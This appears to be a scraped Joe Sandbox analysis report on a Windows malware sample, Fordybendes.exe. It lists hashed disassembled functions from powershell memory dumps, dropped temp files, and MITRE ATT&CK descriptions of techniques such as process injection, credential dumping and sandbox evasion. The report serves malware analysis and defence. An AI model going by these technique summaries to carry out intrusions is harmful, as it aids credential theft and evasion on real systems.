Opcode ID: 2c4034c7a57f23f05d4e2c29ffd37d562812c720fca59f9ff3c646178d2e2521
Instruction ID: d9bcb12071e57f3332ba93b988652ef894fa9c16f0eb707333957dcc064185cc
Opcode Fuzzy Hash: 2c4034c7a57f23f05d4e2c29ffd37d562812c720fca59f9ff3c646178d2e2521
Instruction Fuzzy Hash: F8F0E9317003109FC7155ABDA40465E76D6EBC6261764413DE905DB390DE35DC0387A0

Function 081E4C98 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2739425438.00000000081E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 081E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_81e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ccb088b78ddca2a31a6e5958e2fd8ec5ee88498502d6f4b941c0b5af9cac3f46
Instruction ID: c256b667c9ce6c5ad9775e46cb53ae8d679a3a3fc8530be5a43dca99f27d7c27
Opcode Fuzzy Hash: ccb088b78ddca2a31a6e5958e2fd8ec5ee88498502d6f4b941c0b5af9cac3f46
Instruction Fuzzy Hash: F3F0273670022497CB295528D8044EE3BBBABC8221B05003AF507E7340DF769C0787E1

Function 086E1C50 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2740959631.00000000086E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 086E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_86e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6230121ee06111156a2b065b0251adfcb86e56712c67d13fd4bcf072812dd7b
Instruction ID: 145dd53d1f67ff6059991ffacc6bda6762f5d4cac295c7028d29d64934b61b5a
Opcode Fuzzy Hash: d6230121ee06111156a2b065b0251adfcb86e56712c67d13fd4bcf072812dd7b
Instruction Fuzzy Hash: A8F0A02230151297E7149979A9007BF729ACBC1BA3F41453AD509C7390DA6ADD11A3E0

Function 086497A1 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2739779227.0000000008640000.00000040.00000800.00020000.00000000.sdmp, Offset: 08640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8640000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5d812b57813f97815f1f7a3ffca8ad8fba1d708e64fc8a1ede0e25c69f0ec9b
Instruction ID: 2a8197051e28a5658b99d9038438f5868b0be8c501f657706c4b07d5e30740bf
Opcode Fuzzy Hash: f5d812b57813f97815f1f7a3ffca8ad8fba1d708e64fc8a1ede0e25c69f0ec9b
Instruction Fuzzy Hash: 40F0A732604249BF8F069F959C04CEF7FFAEFC9260B05806AF908D7130D6758922DBA1

Function 086EF4E0 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2740959631.00000000086E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 086E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_86e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c37430669fb9f337dc6feafa54af97cf66c8b42dee9e0d1e587a60dce925a23
Instruction ID: f6138b037bbed4754b0d5bf746ea3891f7a03491ce276da2aaed76b1fef00f91
Opcode Fuzzy Hash: 4c37430669fb9f337dc6feafa54af97cf66c8b42dee9e0d1e587a60dce925a23
Instruction Fuzzy Hash: 88F0F0309052889FEF069F68D819BEEBFB1AB1A300F14059EE401B7291CBB00A00CBA1

Function 081E4CA8 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2739425438.00000000081E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 081E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_81e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb5c0cacc689447fa805eb571082b7f3a946dfcda7d838297dfdc5debbc17e62
Instruction ID: d44e10ab9fb4183b01c96105035982a32a980c10eb9b76127452ecf0cb0a477e
Opcode Fuzzy Hash: bb5c0cacc689447fa805eb571082b7f3a946dfcda7d838297dfdc5debbc17e62
Instruction Fuzzy Hash: EDE0E53670061497CB285668D8044EE73BABBC9211B050039E506E3340DF769C068790

Function 086497B0 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2739779227.0000000008640000.00000040.00000800.00020000.00000000.sdmp, Offset: 08640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8640000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99d5d3329fc743817473426ad1df97bb9bdc1a09c007fb5db1c3d8ad170c531a
Instruction ID: a81f00447641345d51d19323c439e856cc225dd2c8c77bbf1f17e0cf38284ca6
Opcode Fuzzy Hash: 99d5d3329fc743817473426ad1df97bb9bdc1a09c007fb5db1c3d8ad170c531a
Instruction Fuzzy Hash: 61E0123360021DBF4F059E95AC04CEF7FAEEF89260B048025F918D2210DA719921DBA0

Function 086E1C41 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2740959631.00000000086E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 086E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_86e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d277ba6a466c83fd28e92abbdaf96cea5de0c4418c14d07d26c03b76a6d554c1
Instruction ID: 18bc5504d0981efd1a999267a36b434a1ec25fd44c2efe9d6020b34ddcaedcee
Opcode Fuzzy Hash: d277ba6a466c83fd28e92abbdaf96cea5de0c4418c14d07d26c03b76a6d554c1
Instruction Fuzzy Hash: 8DE0D812A0F3D16BD722117599103677FD84B83AA3F0A05BFE584C71D6D45DC418D3A6

Function 086EF4F0 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2740959631.00000000086E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 086E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_86e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6afabc890e9acfe215c810b186be487c9b9cddf7389d0479d9ed7d22c1c467ba
Instruction ID: 24fc0f468c19d2bb194c29ed2391726ac970f4777da139db5ea5ea7f11b0a9f5
Opcode Fuzzy Hash: 6afabc890e9acfe215c810b186be487c9b9cddf7389d0479d9ed7d22c1c467ba
Instruction Fuzzy Hash: 04F0397190121D9FDB159F68D9187EEBBF5EB58301F11056EE402B3380CFB51905CBA5

Function 087617B4 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2742533163.0000000008760000.00000040.00000800.00020000.00000000.sdmp, Offset: 08760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8760000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3637fb9f335ea5ab83fcd1fc6a16d465edb9376c05cccba1776a475c83287151
Instruction ID: 1fdc64d570bf830c1ae74c15a754dd1655020c55d721f9665b5b88e292f59cca
Opcode Fuzzy Hash: 3637fb9f335ea5ab83fcd1fc6a16d465edb9376c05cccba1776a475c83287151
Instruction Fuzzy Hash: 16E0DF21A0D3C01FC702272828243583F61CF839AAB8E00CFD980DF393C55A4C1983B2

Function 086EC7D1 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2740959631.00000000086E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 086E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_86e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7eb20847dcbe9e91149b1ec033d7094310400e99b6f3ce82b47dab69befbef09
Instruction ID: a78df217eed93ab8decbdaf24a0a15575e07e8b2b42d7be60a1a78a0af1ca601
Opcode Fuzzy Hash: 7eb20847dcbe9e91149b1ec033d7094310400e99b6f3ce82b47dab69befbef09
Instruction Fuzzy Hash: A1E0BFB6A04115AF97448E45E885CA7FBADFB987653198256F90897303C731EC81CBF0

Function 0864B11F Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2739779227.0000000008640000.00000040.00000800.00020000.00000000.sdmp, Offset: 08640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8640000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1c6fd0ef70d5bd33a9711c22f2ff950bcbe56bd1771ad9fa716577f8555bba5
Instruction ID: 1c2f6c14d377de6bfa295ade54fafb15a56e3589a8247c5270ec4cf6838b3069
Opcode Fuzzy Hash: f1c6fd0ef70d5bd33a9711c22f2ff950bcbe56bd1771ad9fa716577f8555bba5
Instruction Fuzzy Hash: A0E0C2312422619FC71A8E4096001F53F65EF1522230501BADD41D6322C73588138A90

Function 086EF5F8 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2740959631.00000000086E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 086E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_86e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7db7dbab27a3c6236ad78fa3a76fce40d83c155985a0aa2fa84f89baef663732
Instruction ID: ee78ed581dd6819a0382f914a4c8f5ec4b5e8a5097668706db6bc94cddb3c376
Opcode Fuzzy Hash: 7db7dbab27a3c6236ad78fa3a76fce40d83c155985a0aa2fa84f89baef663732
Instruction Fuzzy Hash: D8D09E3464E2914FCB12DF24D554811FFA26EC621171E96EDD088DF367C634DC45D752

Function 086EC4A7 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2740959631.00000000086E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 086E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_86e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2f266157dd1726a78b4e50cc7943b9f7feb466aea9f1583628ea765a8709c1a
Instruction ID: de7e3bbe189d6466fbcae092670bffed5095f7e2f07eaead08dfadc869cff45a
Opcode Fuzzy Hash: c2f266157dd1726a78b4e50cc7943b9f7feb466aea9f1583628ea765a8709c1a
Instruction Fuzzy Hash: 6DD0C936E092008FCB118A14D988A61BBA66B8522071BC294A4489B356CA30DC86CA81

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Containers, IaaS, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Fordybendes.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Temp\47105159387173330903812.tmp

C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-console-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-datetime-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-debug-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-errorhandling-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-file-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-file-l1-2-0.dll

C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-file-l2-1-0.dll

C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-handle-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-heap-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-interlocked-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-libraryloader-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-localization-l1-2-0.dll

C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-memory-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-namedpipe-l1-1-0.dll

Windows Analysis Report
Fordybendes.exe

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre